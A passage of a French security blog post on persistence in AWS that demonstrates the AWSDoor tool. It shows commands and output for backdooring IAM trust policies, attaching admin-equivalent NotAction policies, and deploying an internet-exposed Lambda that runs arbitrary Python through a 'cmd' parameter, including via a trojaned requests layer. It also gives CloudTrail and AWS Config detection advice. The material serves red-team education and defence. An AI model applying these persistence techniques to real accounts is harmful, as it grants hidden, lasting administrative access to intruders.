<pre>python .\main.py -m TrustPolicy -a FAKEROLE -r arn:aws:iam::584739118107:role/FakeRoleImitatingTargetRoleNames<br>[-] Initial trust policy:<br>{<br>&nbsp; "Version": "2012-10-17",<br>&nbsp; "Statement": [<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Sid": "Statement1",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Effect": "Allow",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Principal": {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "AWS": "arn:aws:iam::438465151234:root"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; },<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Action": "sts:AssumeRole"<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp; ]<br>}<br>[+] New trust policy:<br>{<br>&nbsp; "Version": "2012-10-17",<br>&nbsp; "Statement": [<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Sid": "Statement1",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Effect": "Allow",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Principal": {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "AWS": [<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "arn:aws:iam::438465151234:user/ADM01",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "arn:aws:iam::584739118107:role/FakeRoleimitatingTargetRoleNames"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ]<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; },<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Action": "sts:AssumeRole"<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp; ]<br>}<br>[+] Do you want to apply this change? (yes/no): yes<br>[+] Trust policy for FAKEROLE updated<br><br> </pre>



<figure id="attachment_27308" aria-describedby="caption-attachment-27308" style="width: 886px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27308" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-437x179.png" alt="La TrustPolicy a été modifée par AWSDoor" width="886" height="363" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-437x179.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-768x314.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1536x629.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word.png 1774w" sizes="auto, (max-width: 886px) 100vw, 886px" /><figcaption id="caption-attachment-27308" class="wp-caption-text"><em>La TrustPolicy a été modifée par AWSDoor</em></figcaption></figure>
<p style="text-align: center;">&nbsp;</p>



<p style="text-align: justify;">L’outil permet de :</p>
<ul style="text-align: justify;">
<li><strong>Cibler une instruction spécifique avec l’argument -s</strong> : par défaut, l’outil injectera la politique de confiance dans la première instruction <strong>Allow</strong> qu’il trouve. S’il y a plusieurs instructions dans la politique, il est possible d’utiliser le paramètre -s pour cibler une instruction précise.</li>
<li><strong>Créer une nouvelle instruction avec l’argument -c </strong>: avec cette option, il est possible de forcer la création d’une nouvelle instruction avec un nom spécifique (<strong>MALICIOUS</strong> dans l’exemple ci-dessous).</li>
</ul>
<p style="text-align: justify;"> </p>
<figure id="attachment_27310" aria-describedby="caption-attachment-27310" style="width: 996px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27310" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-286x191.png" alt="Création d’une nouvelle instruction" width="996" height="665" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-286x191.png 286w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-58x39.png 58w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-768x513.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word.png 1478w" sizes="auto, (max-width: 996px) 100vw, 996px" /><figcaption id="caption-attachment-27310" class="wp-caption-text"><em>Création d’une nouvelle instruction</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Défense</span></h5>
<p style="text-align: justify;">Ce type de persistance constitue <strong>un mécanisme de persistance puissant dans les environnements AWS</strong>. Cette technique <strong>ne nécessite pas de stocker des identifiants dans l’environnement victime</strong>, ce qui la rend très discrète et durable, d’autant plus que l’équipe de détection se concentre généralement uniquement sur les clés d’accès ou l’utilisation locale des rôles.</p>
<p style="text-align: justify;">La détection de <strong>cette méthode de persistance exige une surveillance attentive des modifications apportées aux politiques de confiance</strong>. AWS CloudTrail enregistre des événements tels que UpdateAssumeRolePolicy, qui peuvent révéler lorsqu’une politique de confiance est modifiée.</p>
<p> </p>
<figure id="attachment_27312" aria-describedby="caption-attachment-27312" style="width: 1013px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27312" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-437x176.png" alt="Exemple d'évènement UpdateAssumeRolePolicy" width="1013" height="408" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-437x176.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-768x310.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1536x620.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word.png 1944w" sizes="auto, (max-width: 1013px) 100vw, 1013px" /><figcaption id="caption-attachment-27312" class="wp-caption-text"><em>Exemple d&rsquo;évènement UpdateAssumeRolePolicy</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">De même, <strong>AWS Config peut être utilisé avec des règles personnalisées pour détecter les politiques de confiance (TrustPolicy) ciblant des comptes non gérés</strong>.</p>
<p> </p>
<h4>NotAllow</h4>
<h5><span style="text-decoration: underline;">Attaque</span></h5>
<p style="text-align: justify;">Une politique de rôle IAM (<em>IAM role policy</em>) est un document <em>JSON</em> <strong>attaché à un rôle IAM qui définit quelles actions le rôle est autorisé </strong>(ou interdit) d’effectuer, sur quelles ressources et dans quelles conditions.</p>
<p style="text-align: justify;">Par exemple, la politique suivante permet au rôle associé de lister tous les buckets S3 du compte :</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Action": "s3:ListBucket",<br />      "Resource": "*"<br />    }<br />  ]<br />}</pre>
<p> </p>
<p style="text-align: justify;">Dans la syntaxe des politiques, <strong>il est possible d’utiliser un opérateur de négation </strong>: au lieu de définir une liste blanche (<em>whitelist</em>) d’actions autorisées, il est possible de définir une liste noire (<em>blacklist) </em>d’actions.</p>
<p style="text-align: justify;">En effet, <strong>en utilisant l’opérateur NotAction, AWS appliquera l’effet de l’instruction à toutes les actions</strong>, sauf celles explicitement listées.</p>
<p style="text-align: justify;">Par exemple, la politique suivante :</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "NotAction": "s3:ListBucket",<br />      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"<br />    }<br />  ]<br />}</pre>
<p> </p>
<p style="text-align: justify;">Cette politique permettra au rôle <strong>d’exécuter toute action sauf l’action ListBucket sur le bucket S3 cloudtrails-logs-01032004 :</strong> elle accorde donc au rôle associé des privilèges maximaux sur le compte.</p>
<p style="text-align: justify;">Pour un défenseur, cette politique peut, à première vue, <strong>sembler inoffensive car elle cible une ressource S3 précise</strong>. En réalité, elle confère des privilèges équivalents à AdministratorAccess au rôle.</p>
<p style="text-align: justify;">Un attaquant peut ensuite <strong>installer une porte dérobée (backdoor) sur ce rôle en utilisant la persistance via la TrustPolicy</strong>, comme expliqué précédemment, afin d’obtenir un accès complet et à distance au compte AWS compromis.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>Cette technique est implémentée dans AWSDoor :</p>
<p> </p>
<pre>python .\main.py -m NotAction -r FAKEROLE -p ROGUEPOLICY<br />[+] The following policy will be added :<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "NotAction": [<br />        "s3:ListBucket"<br />      ],<br />      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"<br />    }<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Created policy ARN: arn:aws:iam::438465151234:policy/ROGUEPOLICY<br />[+] Attaching the policy to FAKEROLE<br />[+] Successfully created policy ROGUEPOLICY and attached to FAKEROLE</pre>
<p> </p>
<p style="text-align: justify;">Pour la stratégie, il existe deux possibilités :</p>
<ul>
<li style="text-align: justify;"> <strong>Politique attachée :</strong> c’est la méthode la plus courante pour ajouter une stratégie à un rôle. Tout d’abord, une stratégie est créée avec l’instruction NotAction, puis la stratégie est attachée au rôle. La stratégie apparaîtra alors dans le panneau IAM/Policies :</li>
</ul>
<p> </p>
<figure id="attachment_27314" aria-describedby="caption-attachment-27314" style="width: 1004px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27314" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-437x131.png" alt="Politique de rôle attachée" width="1004" height="301" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word.png 1374w" sizes="auto, (max-width: 1004px) 100vw, 1004px" /><figcaption id="caption-attachment-27314" class="wp-caption-text"><em>Politique de rôle attachée</em></figcaption></figure>
<p> </p>
<ul>
<li style="text-align: justify;"><strong>Stratégie inline (-i)</strong> : c’est la manière la plus rapide d’ajouter une stratégie à un rôle. La stratégie est créée directement au niveau du rôle (d’où le terme <em>inline</em>). Bien qu’il soit plus simple de créer ce type de stratégie, cela est généralement considéré comme une mauvaise pratique de configuration, car la stratégie n’apparaîtra pas dans le panneau IAM/Policies, ce qui la rend plus difficile à retrouver lors d’un examen de configuration.</li>
</ul>
<p style="text-align: justify;">Par conséquent, certains outils de conformité spécifiques peuvent signaler la stratégie inline. Non pas parce qu’elle est malveillante, mais parce qu’elle n’est pas conforme aux bonnes pratiques de sécurité.</p>
<p> </p>
<figure id="attachment_27316" aria-describedby="caption-attachment-27316" style="width: 1067px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27316" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-437x186.png" alt="Une politique inline" width="1067" height="454" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-437x186.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-768x326.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1536x653.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word.png 1562w" sizes="auto, (max-width: 1067px) 100vw, 1067px" /><figcaption id="caption-attachment-27316" class="wp-caption-text"><em>Une politique inline</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Défense</span></h5>
<p style="text-align: justify;">Du point de vue d’un défenseur, l<strong>’utilisation de NotAction combinée à l’effet Allow dans les stratégies IAM doit immédiatement susciter des soupçons</strong>, en particulier lorsqu’elle est associée à des champs NotResource.</p>
<p style="text-align: justify;">Les stratégies de détection et de mitigation suivantes peuvent aider les équipes de sécurité à se défendre contre ce type d’escalade de privilèges :</p>
<ul>
<li style="text-align: justify;"><strong> Surveiller les modifications des stratégies IAM</strong> via CloudTrail : toute création ou modification de stratégies IAM peut être suivie dans CloudTrail avec les événements suivants : CreatePolicy, PutRolePolicy, AttachRolePolicy, CreatePolicyVersion et SetDefaultPolicyVersion.</li>
<li style="text-align: justify;"><strong> Enquêter sur les documents de stratégie contenant le mot-clé NotAction </strong>: cela peut être automatisé en créant un scénario associé dans CloudWatch (NotAction dans requestParameters.policyDocument).</li>
<li style="text-align: justify;"><strong> Appliquer un contrôle de conformité avec AWS Config </strong>: une règle de configuration personnalisée peut être définie pour signaler toute stratégie incluant NotAction ou NotResource avec un effet Allow.</li>
</ul>
<p> </p>
<h3>Persistance basée sur les ressources</h3>
<p style="text-align: justify;">Dans AWS, <strong>il est courant d’attacher des rôles IAM à des ressources comme des fonctions Lambda, des instances EC2</strong> ou des tâches ECS. Cela permet à ces services d’accéder de manière sécurisée à d’autres ressources AWS, en fonction des autorisations définies dans le rôle. Par exemple, une instance EC2 peut utiliser un rôle pour lire des secrets dans Secrets Manager ou envoyer des journaux vers CloudWatch.</p>
<p style="text-align: justify;">Du point de vue d’un attaquant, <strong>cette configuration peut être utile pour maintenir une persistance</strong>. S’il parvient à compromettre une ressource disposant d’un rôle hautement privilégié, tel qu’un rôle avec AdministratorAccess, il peut utiliser ce rôle pour interagir avec AWS de la même manière que le ferait la ressource.</p>
<p style="text-align: justify;">Cela signifie que <strong>l’attaquant n’a pas besoin de créer de nouvelles informations d’identification ni de modifier directement IAM</strong>. Tant qu’il conserve l’accès à la ressource, il peut continuer à utiliser les autorisations du rôle, ce qui rend cette méthode à la fois efficace et plus difficile à détecter.</p>
<p> </p>
<h4>Lambda</h4>
<p style="text-align: justify;"><strong>Les fonctions AWS Lambda sont devenues un choix populaire pour exécuter du code</strong> dans le cloud sans avoir à gérer de serveurs. Elles permettent aux développeurs et aux organisations d’automatiser des tâches, de répondre à des événements et de créer des applications évolutives qui ne s’exécutent qu’en cas de besoin. Par exemple, Lambda peut traiter des fichiers téléchargés dans S3, gérer des requêtes API ou réagir automatiquement à des modifications dans une base de données.</p>
<p style="text-align: justify;">Par exemple, pour gérer les administrateurs de comptes, il est possible de créer <strong>une fonction Lambda qui ajoute des privilèges à un utilisateur lorsqu’il est ajouté à une base de données DynamoDB </strong>: la modification de DynamoDB déclenche le code Lambda, qui modifie alors les privilèges de l’utilisateur en fonction des changements dans la base de données.</p>
<p style="text-align: justify;">Par conséquent, <strong>il n’est pas habituel d’associer une identité IAM à une fonction Lambda.</strong></p>
<p> </p>
<h5><span style="text-decoration: underline;">Rôle sur-privilégié</span></h5>
<p style="text-align: justify;">Un moyen d’obtenir une persistance sur un compte AWS consiste soit à <strong>associer une identité IAM sur-privilégiée</strong> à une fonction Lambda existante, soit à modifier le code d’une fonction Lambda déjà sur-privilégiée.</p>
<p>Par exemple, un attaquant peut :</p>
<ul style="text-align: justify;">
<li> Créer une fonction Lambda</li>
<li> Associer un rôle IAM privilégié (en utilisant par exemple l’astuce NotAction)</li>
<li> Ajouter un code Python permettant soit d’exécuter du code arbitraire, soit d’extraire les identifiants temporaires de la Lambda</li>
<li> Exposer le répertoire de la Lambda sur Internet via un API Gateway ou une Lambda Function</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">La figure suivante <strong>résume le déploiement de la persistance </strong>:</p>
<p> </p>
<figure id="attachment_27318" aria-describedby="caption-attachment-27318" style="width: 1370px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27318" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-234x191.png" alt="Déploiement de la persistance Lambda" width="1370" height="1118" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-234x191.png 234w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-48x39.png 48w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-768x627.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word.png 1142w" sizes="auto, (max-width: 1370px) 100vw, 1370px" /><figcaption id="caption-attachment-27318" class="wp-caption-text"><em>Déploiement de la persistance Lambda</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Lambda layers</span></h5>
<p style="text-align: justify;">La technique de <strong>persistance Lambda décrite ci-dessus est efficace, mais elle présente un inconvénient majeur : le code malveillant est facile à repérer</strong>. Si quelqu’un modifie la logique métier principale de la fonction ou examine le code source lors d’une enquête, la porte dérobée sera probablement découverte et supprimée.</p>
<p style="text-align: justify;">Une approche plus subtile consiste à <strong>dissimuler la charge utile malveillante dans une Lambda layer</strong> plutôt que dans le code même de la fonction.</p>
<p style="text-align: justify;">Une Lambda layer est un moyen <strong>de distribuer des dépendances partagées telles que des bibliothèques ou des environnements d’exécution personnalisés</strong>. Au lieu d’intégrer ces éléments directement dans la fonction, on peut les téléverser séparément et les attacher à une ou plusieurs fonctions Lambda. Cela allège le package de déploiement et facilite la réutilisation du code entre différents projets. Les layers sont couramment utilisées pour inclure des outils comme requests ou les SDK AWS (boto3) dans plusieurs fonctions.</p>
<p style="text-align: justify;">Du point de vue d’AWS, <strong>la layer est attachée à la fonction, mais son contenu n’est pas affiché directement dans la console</strong>.</p>
<p style="text-align: justify;">Comme illustré dans la capture d’écran ci-dessous, AWS se contente d’indiquer la présence de la layer ; pour l’inspecter, un utilisateur doit se rendre manuellement dans le panneau Lambda Layers et la télécharger au format ZIP.</p>
<p> </p>
<p data-wp-editing="1"><img loading="lazy" decoding="async" class=" wp-image-27320 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-437x167.png" alt="Visibilité d'un layer sur un lambda" width="1170" height="447" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-437x167.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-768x294.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1536x587.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word.png 1611w" sizes="auto, (max-width: 1170px) 100vw, 1170px" /> <img loading="lazy" decoding="async" class=" wp-image-27322 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-437x44.png" alt="" width="1172" height="118" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-437x44.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-71x7.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-768x78.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1536x155.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word.png 1634w" sizes="auto, (max-width: 1172px) 100vw, 1172px" /></p>
<p> </p>
<p style="text-align: justify;"><strong>L’utilisation d’un layer est visible</strong> (mais peut facilement passer inaperçue), mais pour télécharger le code<strong>, l’utilisateur doit se rendre dans un panneau spécifique Lambda Layer</strong> et le télécharger (sans l’afficher) au format ZIP :</p>
<p> </p>
<p><img loading="lazy" decoding="async" class=" wp-image-27324 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-437x151.png" alt="Panneau spécifique lambda layer" width="1166" height="403" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-437x151.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-71x25.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-768x265.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1536x531.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word.png 1704w" sizes="auto, (max-width: 1166px) 100vw, 1166px" /></p>
<p> </p>
<p style="text-align: justify;"><strong>Ces étapes supplémentaires peuvent rendre les défenseurs moins enclins à examiner le contenu de la layer</strong> lors de la phase initiale de triage.</p>
<p style="text-align: justify;">Un attaquant peut exploiter cela en créant une couche contenant une version compromise d’une bibliothèque standard, telle que requests. En surchargeant une fonction interne avec un comportement malveillant, l’attaquant obtient une exécution de code à distance chaque fois que la fonction est utilisée.</p>
<p style="text-align: justify;">Par exemple, après avoir téléchargé le package requests avec pip :</p>
<p> </p>
<pre>pip install -t python requests<br /><br /></pre>
<p style="text-align: justify;">L’attaquant <strong>modifie la fonction get() afin d’exécuter des commandes arbitraires </strong>:</p>
<p> </p>
<figure id="attachment_27327" aria-describedby="caption-attachment-27327" style="width: 1228px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27327" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-287x191.png" alt="Injection dans la fonction requests.get" width="1228" height="817" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-287x191.png 287w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-59x39.png 59w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-768x512.png 768w" sizes="auto, (max-width: 1228px) 100vw, 1228px" /><figcaption id="caption-attachment-27327" class="wp-caption-text"><em>Injection dans la fonction requests.get</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Ensuite, <strong>le package est compressé au format ZIP et déployé en tant que </strong><strong>layer</strong>, qui est attachée à la fonction cible :</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="wp-image-27329 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-437x175.png" alt="Un layer est attaché à la fonction cible" width="654" height="262" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word.png 1003w" sizes="auto, (max-width: 654px) 100vw, 654px" /></p>
<p> </p>
<p style="text-align: justify;">Enfin, <strong>le code source de la fonction Lambda est mis à jour pour utiliser la bibliothèque compromise</strong>, ce qui peut sembler inoffensif à première vue :</p>
<p> </p>
<p><img loading="lazy" decoding="async" class=" wp-image-27332 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-437x126.png" alt="La fonction Get injectée appelée dans du code" width="597" height="172" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-437x126.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-768x221.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word.png 1235w" sizes="auto, (max-width: 597px) 100vw, 597px" /></p>
<p> </p>
<p style="text-align: justify;">Ce <strong>qui ressemble à une requête HTTP légitime est désormais un déclencheur pour un comportement malveillant caché</strong>. À moins que le défenseur n’inspecte le contenu réel de la couche attachée, cette porte dérobée peut rester indétectée.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>Cette technique est implémentée dans AWSDoor :</p>
<p> </p>
<pre>python .\main.py -m AdminLambda -r FAKEROLE -n lambda_test2 -l<br />[+] The following trust policy will be created :<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Principal": {<br />        "Service": "lambda.amazonaws.com"<br />      },<br />      "Action": "sts:AssumeRole"<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Layer created<br />[+] Created lambda function lambda_test2<br />[+] Invoke URL : https://g4uqlkoakdr36m6agsxcho3idi0krwah.lambda-url.eu-west-3.on.aws/</pre>
<p> </p>
<p style="text-align: justify;">Quelques paramètres supplémentaires peuvent être utilisés :</p>
<ul style="text-align: justify;">
<li> <strong>-l : utiliser une couche Lambda</strong>, sinon inclure le code malveillant directement dans la Lambda</li>
<li> <strong>-g : utiliser une API Gateway</strong>, sinon utiliser une FunctionURL</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><strong>L’API Gateway est une méthode plus propre pour exposer une Lambda sur Internet </strong>; cependant, il est possible de repérer facilement qu’elle est accessible depuis Internet, car cela est affiché comme un déclencheur.</p>
<p> </p>
<p><img loading="lazy" decoding="async" class=" wp-image-27334 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-373x191.png" alt="L'APi Gateway est visible en tant que déclencheur" width="596" height="305" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-373x191.png 373w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-768x393.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word.png 1372w" sizes="auto, (max-width: 596px) 100vw, 596px" /></p>
<p> </p>
<p style="text-align: justify;">La charge utile déployée par défaut prend un code Python passé en paramètre GET cmd, l’exécute, puis renvoie les données stockées dans la variable result:</p>
<p> </p>
<pre>curl ${invokeUrl}/cmd=`echo ‘result = “Hello World”’ | basenc --base64url` <br />&gt;&gt; {result: “Hello World”}</pre>
<p> </p>
<h5><span style="text-decoration: underline;">Défense</span></h5>
